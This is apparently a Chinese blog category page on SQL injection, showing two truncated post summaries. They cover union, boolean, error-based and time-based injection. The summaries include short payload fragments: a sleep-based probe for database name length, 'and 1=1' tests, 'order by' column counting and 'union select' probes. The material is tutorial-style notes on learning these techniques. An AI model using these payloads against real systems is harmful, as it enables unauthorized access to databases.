随笔分类 - sql注入

SQL注入

摘要：union注入 boolean注入报错注入时间注入语句: if(expr1,expr2,expr3) :若expr1为true，则执行expr2,否则执行expr3. 判断数据库库名长度： and if(length(databse())>1,sleep(5),1) 判断数据库库名：and if 阅读全文

posted @ 2021-01-28 11:44 任尔东西南北风阅读(52) 评论(0) 推荐(0) 编辑

emmm

摘要：整形注入 id=1 and 1=1 %23 id=1 and 1=2 %23 //判断是否整形注入 id=1 order by 3id=1 order by 4 //判断列数 id=1 and 1=2 union select 1,2,3 //判断显示位查看所有数据库：id=1 and 1=2 u 阅读全文

posted @ 2020-09-09 20:16 任尔东西南北风阅读(257) 评论(0) 推荐(0) 编辑